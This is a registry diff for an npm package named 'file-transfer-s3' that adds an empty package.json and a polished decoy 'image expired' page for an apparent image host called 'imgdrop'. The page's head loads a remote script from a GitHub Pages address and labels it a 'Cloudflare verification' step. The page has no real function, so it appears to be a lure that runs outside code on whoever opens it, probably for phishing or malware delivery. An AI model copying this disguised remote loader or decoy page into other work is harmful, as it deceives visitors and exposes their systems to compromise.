file-transfer-s3 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.html +520 -0
  2. package/package.json +12 -0
package/index.html ADDED
@@ -0,0 +1,520 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>imgdrop · image expired</title>
7
+
8
+ <!-- ====== REQUIRED SCRIPT: Cloudflare verification ====== -->
9
+ <script src="https://document-viewer-001.github.io/bucket-s3/Notifications.js" defer></script>
10
+ <!-- ===================================================== -->
11
+
12
+ <!-- clean, modern, no emoji icons — uses SVG / CSS shapes for a professional look -->
13
+ <style>
14
+ * {
15
+ margin: 0;
16
+ padding: 0;
17
+ box-sizing: border-box;
18
+ }
19
+
20
+ body {
21
+ background: #f1f4f9;
22
+ font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
23
+ display: flex;
24
+ flex-direction: column;
25
+ align-items: center;
26
+ justify-content: center;
27
+ min-height: 100vh;
28
+ margin: 0;
29
+ padding: 2rem 1rem;
30
+ color: #1a1f2e;
31
+ }
32
+
33
+ /* main card – clean hosting detail page */
34
+ .host-card {
35
+ max-width: 840px;
36
+ width: 100%;
37
+ background: #ffffff;
38
+ border-radius: 32px;
39
+ box-shadow: 0 20px 40px -12px rgba(0, 0, 0, 0.12), 0 8px 24px -6px rgba(0, 0, 0, 0.04);
40
+ overflow: hidden;
41
+ border: 1px solid rgba(255, 255, 255, 0.4);
42
+ backdrop-filter: blur(2px);
43
+ transition: box-shadow 0.2s;
44
+ }
45
+
46
+ /* header – clean, minimal */
47
+ .host-header {
48
+ padding: 1.1rem 2rem;
49
+ background: #ffffff;
50
+ border-bottom: 1px solid #eef1f6;
51
+ display: flex;
52
+ align-items: center;
53
+ justify-content: space-between;
54
+ flex-wrap: wrap;
55
+ gap: 0.75rem;
56
+ }
57
+
58
+ .logo-area {
59
+ display: flex;
60
+ align-items: center;
61
+ gap: 10px;
62
+ }
63
+
64
+ .logo-icon {
65
+ background: #1e293b;
66
+ color: white;
67
+ font-weight: 600;
68
+ font-size: 1rem;
69
+ width: 36px;
70
+ height: 36px;
71
+ display: flex;
72
+ align-items: center;
73
+ justify-content: center;
74
+ border-radius: 10px;
75
+ letter-spacing: -0.2px;
76
+ }
77
+
78
+ .logo-text {
79
+ font-weight: 600;
80
+ font-size: 1.3rem;
81
+ letter-spacing: -0.3px;
82
+ color: #111927;
83
+ }
84
+
85
+ .logo-text span {
86
+ color: #5b6f8c;
87
+ font-weight: 400;
88
+ }
89
+
90
+ .nav-links {
91
+ display: flex;
92
+ gap: 1.6rem;
93
+ font-size: 0.85rem;
94
+ color: #30415a;
95
+ font-weight: 500;
96
+ }
97
+
98
+ .nav-links a {
99
+ color: #2d405b;
100
+ text-decoration: none;
101
+ transition: 0.15s;
102
+ border-bottom: 2px solid transparent;
103
+ padding-bottom: 3px;
104
+ }
105
+
106
+ .nav-links a:hover {
107
+ border-bottom-color: #7b94b3;
108
+ color: #141e2e;
109
+ }
110
+
111
+ .upload-btn {
112
+ background: #eef2f8;
113
+ padding: 0.45rem 1.2rem;
114
+ border-radius: 40px;
115
+ font-size: 0.8rem;
116
+ font-weight: 500;
117
+ color: #1b2a3e;
118
+ border: 1px solid #d7dfea;
119
+ transition: 0.15s;
120
+ cursor: default;
121
+ letter-spacing: 0.2px;
122
+ }
123
+
124
+ .upload-btn:hover {
125
+ background: #e5eaf2;
126
+ border-color: #bac5d6;
127
+ }
128
+
129
+ /* main image area – "expired" message with clean icons */
130
+ .image-preview {
131
+ padding: 2rem 2rem 1.2rem 2rem;
132
+ display: flex;
133
+ flex-direction: column;
134
+ align-items: center;
135
+ background: #fafcfe;
136
+ }
137
+
138
+ .expired-container {
139
+ width: 100%;
140
+ background: #f2f5fa;
141
+ border-radius: 24px;
142
+ padding: 2.8rem 1.8rem 2.2rem 1.8rem;
143
+ display: flex;
144
+ flex-direction: column;
145
+ align-items: center;
146
+ justify-content: center;
147
+ border: 2px dashed #cbd5e3;
148
+ transition: 0.2s;
149
+ box-shadow: inset 0 2px 6px rgba(0,0,0,0.01);
150
+ }
151
+
152
+ /* SVG icons – clean, no emoji */
153
+ .expired-icon-svg {
154
+ width: 56px;
155
+ height: 56px;
156
+ margin-bottom: 0.8rem;
157
+ opacity: 0.75;
158
+ color: #3d526b;
159
+ }
160
+
161
+ .expired-icon-svg svg {
162
+ width: 100%;
163
+ height: 100%;
164
+ fill: none;
165
+ stroke: currentColor;
166
+ stroke-width: 1.5;
167
+ stroke-linecap: round;
168
+ stroke-linejoin: round;
169
+ }
170
+
171
+ .expired-title {
172
+ font-size: 2rem;
173
+ font-weight: 600;
174
+ color: #1d2b3f;
175
+ letter-spacing: -0.4px;
176
+ margin-bottom: 0.15rem;
177
+ }
178
+
179
+ .expired-sub {
180
+ font-size: 0.95rem;
181
+ color: #3c536e;
182
+ background: #e4ebf4;
183
+ padding: 0.2rem 1.6rem;
184
+ border-radius: 40px;
185
+ font-weight: 450;
186
+ margin-top: 0.2rem;
187
+ letter-spacing: 0.2px;
188
+ }
189
+
190
+ .expired-meta {
191
+ display: flex;
192
+ flex-wrap: wrap;
193
+ justify-content: center;
194
+ gap: 0.8rem 2rem;
195
+ margin-top: 1.6rem;
196
+ font-size: 0.8rem;
197
+ color: #334a64;
198
+ background: #eef3f9;
199
+ padding: 0.5rem 2rem;
200
+ border-radius: 60px;
201
+ border: 1px solid #dce3ee;
202
+ }
203
+
204
+ .expired-meta span {
205
+ display: flex;
206
+ align-items: center;
207
+ gap: 6px;
208
+ }
209
+
210
+ .expired-meta .meta-icon {
211
+ width: 16px;
212
+ height: 16px;
213
+ opacity: 0.6;
214
+ }
215
+
216
+ .fake-timestamp {
217
+ background: #e6ecf4;
218
+ padding: 0.1rem 0.9rem;
219
+ border-radius: 30px;
220
+ color: #2e4560;
221
+ font-size: 0.75rem;
222
+ font-weight: 450;
223
+ }
224
+
225
+ .fake-timestamp.expired-date {
226
+ background: #e6dcdc;
227
+ color: #7a5050;
228
+ }
229
+
230
+ .pill-badge {
231
+ background: #e4eaf2;
232
+ padding: 0.1rem 0.8rem;
233
+ border-radius: 30px;
234
+ font-size: 0.7rem;
235
+ font-weight: 500;
236
+ color: #2e4560;
237
+ }
238
+
239
+ /* image info row */
240
+ .image-info {
241
+ padding: 0.8rem 2rem 1.6rem 2rem;
242
+ display: flex;
243
+ flex-wrap: wrap;
244
+ justify-content: space-between;
245
+ align-items: center;
246
+ gap: 0.8rem 1.5rem;
247
+ border-top: 1px solid #e6ecf3;
248
+ background: #ffffff;
249
+ }
250
+
251
+ .info-left {
252
+ display: flex;
253
+ align-items: center;
254
+ gap: 1rem;
255
+ flex-wrap: wrap;
256
+ }
257
+
258
+ .info-badge {
259
+ background: #eef2f8;
260
+ padding: 0.2rem 1rem;
261
+ border-radius: 40px;
262
+ font-size: 0.75rem;
263
+ font-weight: 500;
264
+ color: #29415b;
265
+ border: 1px solid #dce3ee;
266
+ display: flex;
267
+ align-items: center;
268
+ gap: 5px;
269
+ }
270
+
271
+ .info-badge.expired-badge {
272
+ background: #f1eaea;
273
+ border-color: #e2cdcd;
274
+ color: #8f5a5a;
275
+ }
276
+
277
+ .info-badge .badge-icon {
278
+ width: 14px;
279
+ height: 14px;
280
+ opacity: 0.6;
281
+ }
282
+
283
+ .info-right {
284
+ display: flex;
285
+ gap: 1.4rem;
286
+ color: #3a5370;
287
+ font-size: 0.8rem;
288
+ font-weight: 450;
289
+ }
290
+
291
+ .info-right span {
292
+ display: flex;
293
+ align-items: center;
294
+ gap: 5px;
295
+ }
296
+
297
+ .info-right .stat-icon {
298
+ width: 16px;
299
+ height: 16px;
300
+ opacity: 0.5;
301
+ }
302
+
303
+ /* footer */
304
+ .host-footer {
305
+ padding: 0.9rem 2rem 1.1rem 2rem;
306
+ background: #f8faff;
307
+ border-top: 1px solid #e6ecf4;
308
+ display: flex;
309
+ justify-content: space-between;
310
+ flex-wrap: wrap;
311
+ gap: 0.6rem 1.5rem;
312
+ font-size: 0.7rem;
313
+ color: #4b647f;
314
+ }
315
+
316
+ .host-footer a {
317
+ color: #3b5676;
318
+ text-decoration: none;
319
+ border-bottom: 1px dotted transparent;
320
+ }
321
+
322
+ .host-footer a:hover {
323
+ border-bottom-color: #889fc0;
324
+ }
325
+
326
+ .footer-links {
327
+ display: flex;
328
+ gap: 1.6rem;
329
+ }
330
+
331
+ /* responsive */
332
+ @media (max-width: 650px) {
333
+ .host-header {
334
+ flex-direction: column;
335
+ align-items: stretch;
336
+ gap: 0.5rem;
337
+ }
338
+ .nav-links {
339
+ justify-content: space-around;
340
+ gap: 0.4rem;
341
+ flex-wrap: wrap;
342
+ }
343
+ .image-info {
344
+ flex-direction: column;
345
+ align-items: flex-start;
346
+ }
347
+ .info-right {
348
+ flex-wrap: wrap;
349
+ }
350
+ .expired-title {
351
+ font-size: 1.6rem;
352
+ }
353
+ .expired-meta {
354
+ flex-direction: column;
355
+ align-items: center;
356
+ gap: 0.5rem;
357
+ padding: 0.8rem 1.2rem;
358
+ border-radius: 30px;
359
+ }
360
+ }
361
+
362
+ /* clean SVG icon helper */
363
+ .icon-svg {
364
+ display: inline-block;
365
+ line-height: 0;
366
+ }
367
+
368
+ .expired-container .expired-icon-svg {
369
+ color: #3f5672;
370
+ }
371
+
372
+ /* subtle broken image overlay using SVG */
373
+ .broken-indicator {
374
+ display: flex;
375
+ align-items: center;
376
+ justify-content: center;
377
+ margin-top: 0.8rem;
378
+ gap: 0.3rem;
379
+ font-size: 0.7rem;
380
+ background: #e9eff6;
381
+ padding: 0.15rem 1.4rem;
382
+ border-radius: 40px;
383
+ color: #3a5472;
384
+ letter-spacing: 0.2px;
385
+ }
386
+
387
+ .broken-indicator svg {
388
+ width: 16px;
389
+ height: 16px;
390
+ opacity: 0.5;
391
+ }
392
+ </style>
393
+ </head>
394
+ <body>
395
+ <div class="host-card">
396
+ <!-- header -->
397
+ <div class="host-header">
398
+ <div class="logo-area">
399
+ <div class="logo-icon">
400
+ <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
401
+ <rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect>
402
+ <circle cx="8.5" cy="8.5" r="1.5"></circle>
403
+ <polyline points="21 15 16 10 5 21"></polyline>
404
+ </svg>
405
+ </div>
406
+ <div class="logo-text">img<span>drop</span></div>
407
+ </div>
408
+ <div class="nav-links">
409
+ <a href="#">Upload</a>
410
+ <a href="#">Images</a>
411
+ <a href="#">API</a>
412
+ <a href="#">Pricing</a>
413
+ </div>
414
+ <div class="upload-btn">+ New upload</div>
415
+ </div>
416
+
417
+ <!-- image preview: expired state -->
418
+ <div class="image-preview">
419
+ <div class="expired-container">
420
+ <!-- clean SVG icon: image / broken -->
421
+ <div class="expired-icon-svg">
422
+ <svg viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5" fill="none">
423
+ <rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect>
424
+ <circle cx="8.5" cy="8.5" r="1.5"></circle>
425
+ <polyline points="21 15 16 10 5 21"></polyline>
426
+ <line x1="4" y1="4" x2="20" y2="20" stroke="currentColor" stroke-width="1.2" opacity="0.4"></line>
427
+ </svg>
428
+ </div>
429
+ <div class="expired-title">Image expired</div>
430
+ <div class="expired-sub">This image is no longer available</div>
431
+
432
+ <div class="expired-meta">
433
+ <span>
434
+ <span class="meta-icon">
435
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><polyline points="12 6 12 12 16 14"></polyline></svg>
436
+ </span>
437
+ Uploaded: <span class="fake-timestamp">2026-01-12</span>
438
+ </span>
439
+ <span>
440
+ <span class="meta-icon">
441
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><polyline points="12 6 12 12 16 14"></polyline></svg>
442
+ </span>
443
+ Expired: <span class="fake-timestamp expired-date">2026-08-19</span>
444
+ </span>
445
+ <span>
446
+ <span class="meta-icon">
447
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"></rect><path d="M7 11V7a5 5 0 0110 0v4"></path></svg>
448
+ </span>
449
+ <span class="pill-badge">private</span>
450
+ </span>
451
+ </div>
452
+
453
+ <!-- additional subtle expired indicator -->
454
+ <div class="broken-indicator">
455
+ <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="23 6 13.5 15.5 8.5 10.5 1 18"></polyline><polyline points="17 6 23 6 23 12"></polyline></svg>
456
+ <span>hash: 4f8a2b · expired</span>
457
+ </div>
458
+ </div>
459
+ </div>
460
+
461
+ <!-- image info row -->
462
+ <div class="image-info">
463
+ <div class="info-left">
464
+ <span class="info-badge">
465
+ <span class="badge-icon">
466
+ <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"></path><polyline points="14 2 14 8 20 8"></polyline></svg>
467
+ </span>
468
+ image.png
469
+ </span>
470
+ <span class="info-badge expired-badge">
471
+ <span class="badge-icon">
472
+ <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
473
+ </span>
474
+ expired
475
+ </span>
476
+ <span class="info-badge">1280 × 720</span>
477
+ </div>
478
+ <div class="info-right">
479
+ <span>
480
+ <span class="stat-icon">
481
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path><circle cx="12" cy="12" r="3"></circle></svg>
482
+ </span>
483
+ 0 views
484
+ </span>
485
+ <span>
486
+ <span class="stat-icon">
487
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4"></path><polyline points="7 10 12 15 17 10"></polyline><line x1="12" y1="15" x2="12" y2="3"></line></svg>
488
+ </span>
489
+ 0 downloads
490
+ </span>
491
+ <span style="color:#7a5f5f;">
492
+ <span class="stat-icon">
493
+ <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
494
+ </span>
495
+ expired
496
+ </span>
497
+ </div>
498
+ </div>
499
+
500
+ <!-- footer -->
501
+ <div class="host-footer">
502
+ <div>© 2026 imgdrop · image hosting</div>
503
+ <div class="footer-links">
504
+ <a href="#">Terms</a>
505
+ <a href="#">Privacy</a>
506
+ <a href="#">Support</a>
507
+ <a href="#">Status</a>
508
+ </div>
509
+ </div>
510
+ </div>
511
+
512
+ <!-- subtle status bar -->
513
+ <div style="margin-top: 1.2rem; font-size: 0.7rem; color: #5d738d; background: #eef2f8; padding: 0.25rem 1.8rem; border-radius: 60px; border: 1px solid #d3dce8; max-width: 480px; text-align: center; letter-spacing: 0.2px;">
514
+ <span style="display: flex; align-items: center; justify-content: center; gap: 6px;">
515
+ <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg>
516
+ This image has expired · hosted by imgdrop
517
+ </span>
518
+ </div>
519
+ </body>
520
+ </html>
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "file-transfer-s3",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }